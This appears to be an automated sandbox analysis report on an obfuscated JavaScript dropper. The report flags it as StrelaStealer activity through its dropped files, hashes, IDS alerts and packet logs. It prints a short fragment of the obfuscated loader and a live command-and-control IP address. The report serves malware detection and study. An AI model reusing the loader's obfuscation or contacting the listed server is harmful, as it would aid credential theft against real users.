SSDEEP:	384:AEYBA0W2CahBQyaJMukC+k36KKJOkVpNjlYEK2q85VzJ9Duo9TqTe34fF6WtZon8:yO7
MD5:	F131B6D31E92458CAA28131B33AE8B4F
SHA1:	EA414D7756F5F91055DFA0D3D4D9D184F7C71FF5
SHA-256:	F4673F1C7D92F6056B18E54D7B06B7A724C3133BF98CEDA4493E2B3380C40DB4
SHA-512:	C79164098A625DBD5806DC8A266D87FC69242274685DFC95C49BFC36C9FF57EAB7E580659BCFE60DC81D94012DBD12DA298CD14390F959C6FF52AE9F1C2789E4
Malicious:	false
Preview:	SessionID=ee46a93c-0092-4dca-a2aa-05d5d31f894b.1736557179416 Timestamp=2025-01-10T19:59:39:417-0500 ThreadID=4324 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ee46a93c-0092-4dca-a2aa-05d5d31f894b.1736557179416 Timestamp=2025-01-10T19:59:39:417-0500 ThreadID=4324 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ee46a93c-0092-4dca-a2aa-05d5d31f894b.1736557179416 Timestamp=2025-01-10T19:59:39:417-0500 ThreadID=4324 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ee46a93c-0092-4dca-a2aa-05d5d31f894b.1736557179416 Timestamp=2025-01-10T19:59:39:417-0500 ThreadID=4324 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ee46a93c-0092-4dca-a2aa-05d5d31f894b.1736557179416 Timestamp=2025-01-10T19:59:39:417-0500 ThreadID=4324 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.413966808329403
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRQ0:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR1
MD5:	C70C9F61DB97837C4C09C01154C76D97
SHA1:	F8A04CC70AE446AB272D4856AC460625D555BA4D
SHA-256:	C6F1D5071163220301196C4A029C46AF00CC31EB990B5D927C697B06904F3272
SHA-512:	F45B4794D7DE79E1CE3B2BAF225891B021E0E131228490A4B87D8D452B5B95FCEC70C9D32CADA9F1B0E94FEE0EE2C456631BD298C863FDF60A58D48CB4DB26B2
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\056fcbe8-98d4-41d2-9af0-fd2804b79bc2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\24a8ef2f-ed13-4b65-9cc3-e07539abd1f8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/x1wYIGNPJnWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:J1wZGTWLxB3mlind9i4ufFXpAXkrfUsb
MD5:	12F2B7AA134915BFFFD8679D03137A0D
SHA1:	8C183284F33E697E32DC844B34BBD4A9BCC8AB7C
SHA-256:	720BF6C03BE5E6272AD598225F9755FBF4D6C1E6033EE58DF75267DEF8E270DE
SHA-512:	CF3B81743E0B9B0EF92C1BE1754206A6CCB318C4AF9D962BFF2937AEC1B1FDF9AC85116C58811F39D2A3FDC862315BFF5DADB4E2C89862CC252156C61819CED3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7dc8c249-9572-4f4b-96b3-039fe7c1eef4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\96f20cb3-963f-4c2e-8d41-638e7efceaa0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+fBYCERXTJJl:O3Pjegf121YS8lkipdjMMNB1DofjEGJH
MD5:	BAEB02CA18ECB74EF8E03548852D207E
SHA1:	938A6EC3EDE559AC243A95F30E8AB9FC7B0FCCFF
SHA-256:	6600D8F4A7E866FBB4A67A02983976662050AF139C88C978748CC221E899E92D
SHA-512:	1E7BE870ED21E20E9DA74C71B57C2BC6A41AB0039DD45DB76115157C1F97D6DE581DBBBA25B9FF3D55E3A164498A9E92A609B1F11586BEDFE9EF150BD607E8CC
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16538), with CRLF line terminators
Entropy (8bit):	4.9167153723075225
TrID:
File name:	31244102191071522677.js
File size:	20'050 bytes
MD5:	9d70f4e94f53f0e7e701063f5fb59f39
SHA1:	a43eafc0cfbd172b4a1747d5b4585e59a4207635
SHA256:	0708a1b2116dcea5c2ba58461cf5846063b29ec05328ae772b5b55219d5f169e
SHA512:	4846e6917900e002bed87157d59ed5f91a6429c47c5c969829831c1b7fdee87030497b1c9a21d84d495cf4ff171060f352431b15cc01a37f71e20b6163bad34a
SSDEEP:	384:fw16gB/ijUwEgp3gM+wfagyfVCDT4wk0MoFv:fw8wijUxM5+vfVCn499oFv
TLSH:	6192434DE48A9792DDC992B8B0B128645412CDA4CD98F0B134DAA9701F1FFACF4D787A
File Content Preview:	function krbync(){wfzszrq=[1031,3079,5127,4103,2055,3072];var vvylgsonj=this[pdmtahx+caavjsoe+aohkoyz+pmoexsgif+ihkwsud+zoamr+ngkhi+pjpol](this[sypyaywjn+ntzmqwy+ygbqy+aohkoyz+sapwdea+pdmtahx+pjpol][cjltvkgk+aohkoyz+ihkwsud+caavjsoe+pjpol+ihkwsud+veesziw+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:59:35.157407+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T01:59:35.157407+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T01:59:38.059860+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:59:34.333353043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:34.338263988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:34.338346004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:34.342181921 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:34.347054005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157291889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157340050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157351017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157407045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.157497883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157509089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157546043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157556057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157556057 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.157567024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157614946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.157615900 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.157722950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157733917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.157768965 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.162250042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.216109037 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.219122887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.219141006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.219203949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.282105923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282152891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282219887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282221079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.282253027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282265902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282286882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.282392979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282432079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.282799006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282864094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282876968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.282908916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.283284903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.283304930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.283324003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.283335924 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.283359051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.283365965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.283379078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.283407927 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.283942938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284002066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284018993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284044981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.284100056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284113884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284136057 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.284799099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284838915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.284848928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284861088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.284894943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.284936905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.325468063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.349071980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.388767958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.388787985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.388802052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.388842106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.388895035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.406953096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.406997919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407064915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.407221079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407278061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407289028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407324076 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.407361031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407397032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.407432079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407445908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407479048 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.407557964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407818079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407855988 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.407871962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407886028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.407915115 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.408042908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408056974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408070087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408088923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.408236027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408250093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408271074 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.408723116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408761024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.408793926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408807039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408844948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.408950090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408962011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408973932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.408997059 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.409152031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409173965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409183025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.409699917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409738064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.409832954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409846067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409867048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409881115 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.409966946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409980059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.409991026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410002947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410015106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.410049915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.410660982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410700083 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.410710096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410722971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410756111 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.410830021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410927057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410938978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410949945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410959959 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.410962105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.410991907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.411626101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.411665916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.439563036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.439603090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.439614058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.439668894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.479160070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.479228973 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.513712883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.513727903 CET	80	49700	193.143.1.205	192.168.2.7
